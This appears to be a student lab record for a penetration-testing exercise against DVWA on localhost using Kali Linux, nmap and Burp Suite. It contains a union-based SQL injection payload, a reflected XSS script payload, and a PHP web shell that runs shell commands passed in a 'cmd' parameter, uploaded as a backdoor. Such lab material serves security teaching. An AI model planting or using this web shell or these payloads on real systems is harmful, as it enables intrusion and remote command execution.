0% found this document useful (0 votes)
18 views12 pages

Ex 6

Uploaded by

Hari Priya
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
18 views12 pages

Ex 6

Uploaded by

Hari Priya
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 12

Register

no:411622149020

Ex.No: 6
Penetration Test using Kali Linux
Date:

Aim :
To perform Penetration Testing on a web application using
Kali Linux
Setup the Environment :
Tools Needed:
 Kali Linux : install on a Virtual Machine
 DVWA(Damn Vulnerable Web App)
 Burp Suit

Install DVWA:
1.Download and Setup DVWA:
$ git clone https://github.com/digininja/DVWA.git
$ cd DVWA/config

$ cp config.inc.php.dist config.inc.php
Register
no:411622149020

2. Start the Web Server and Database:


$ sudo service apache2 start

$ sudo service mysql start

Step 1: Information Gathering


 Identify Technologies:

$ whatweb http://192.168.177.160/dvwa/ (change your kali Ip address)


Register
no:411622149020

Step 2: Scanning and Enumeration


$ sudo nmap –sS –sV 192.168.177.160
Register
no:411622149020

Step 3: Vulnerability Assessment


Setup:

1.Open Burp Suite:

 Start Burp Suite from your Kali Linux applications menu.

2.Configure Browser Proxy:

 Set your browser to use Burp Suite as a proxy.


 Open Firefox and go to Preferences > Network Settings > Settings.
 Select “Manual proxy configuration” and set HTTP Proxy to
127.0.0.1 and Port to 8080.
 Check the box “Use this proxy server for all protocols.”

Using Burp Suite:

 Make sure the Intercept is turned on in Burp Suite.

 Click open Browser and Browse the target application (e.g.,


http://127.0.0.1/dvwa/).
 Burp Suite will capture and display the HTTP requests.
Register
no:411622149020

 Go to the Target tab in the burp suite.


 Go to the Issues tab to see a list for vulnerabilities

Step 4: Exploitation
1.Exploiting SQL injection vulnerability found in the previous step

 Open Browser and Browse http://127.0.0.1/DVWA/vulnerabilities/sqli/


Register
no:411622149020

 Enter values(e.g., 1) in the input field and click Submit.

 Perform an Union Based sqli Attack

1'or'1=1 union select first_name ,last_name FROM users #


Register
no:411622149020

2.Exploiting XSS Vulnerabilities in DVWA

Open DVWA:

 Navigate to http://127.0.0.1/dvwa/ in your browser.


 Log in with default credentials(dvwa,p@ssw0rd).

Navigate to XSS:
Register
no:411622149020

 Go to the "Reflected XSS" section in DVWA.

Test for Vulnerability:

 In the input field, enter <script>alert('XSS')</script> and


submit.
 If vulnerable, an alert box will appear.

Step 5: Post exploitation


Maintaining Access
Creating a Backdoor in DVWA

1. Create a PHP Shell:


Register
no:411622149020

 Create a simple PHP backdoor file, shell.php, with the following


content:

<?php

if(isset($_REQUEST['cmd'])) {

echo '<pre>' . shell_exec($_REQUEST['cmd']) . '</pre>';

?>

 Save the file as shell.php

2. Upload shell.php:

 In DVWA's File Upload section, upload shell.php.


 Note the path where shell.php is uploaded (e.g.,
http://127.0.0.1/dvwa/hackable/uploads/shell.php).

3. Access the Backdoor:

 Open your browser and navigate to the uploaded file.


 Use the following URL format to execute commands:
Register
no:411622149020

http://127.0.0.1/DVWA/hackable/uploads/shell.php?cmd=ls

Step 6: Reporting
## Penetration Testing Report
### Introduction
The purpose of this penetration test was to identify vulnerabilities
in the target web application and assess their potential impact.
### Methodology
Tools used: Nmap, Burp Suite, SQLMap, Metasploit.
Steps: Information Gathering, Scanning, Vulnerability Assessment,
Exploitation, Post-Exploitation.
### Findings
1. **SQL Injection:**
- Vulnerability: SQL Injection found in the login form.
2. **XSS:**
- Vulnerability: Cross-Site Scripting in the comment section.
- Evidence: Injected `<script>alert('XSS')</script>` and
observed an alert.
### Impact Assessment
Register
no:411622149020

- SQL Injection: Could lead to database compromise, leakage of


sensitive information.
- XSS: Could result in session hijacking, phishing attacks.

### Recommendations
- Sanitize input fields to prevent SQL injection.
- Implement proper output encoding to prevent XSS.

### Conclusion
The web application is vulnerable to several critical issues.
Implementing the recommended fixes will significantly improve
security.
Register
no:411622149020

Result:
Thus the Penetrating Testing using Kali Linux was performed
on DVWA and The Vulnerabilities found are Reported Successfully

You might also like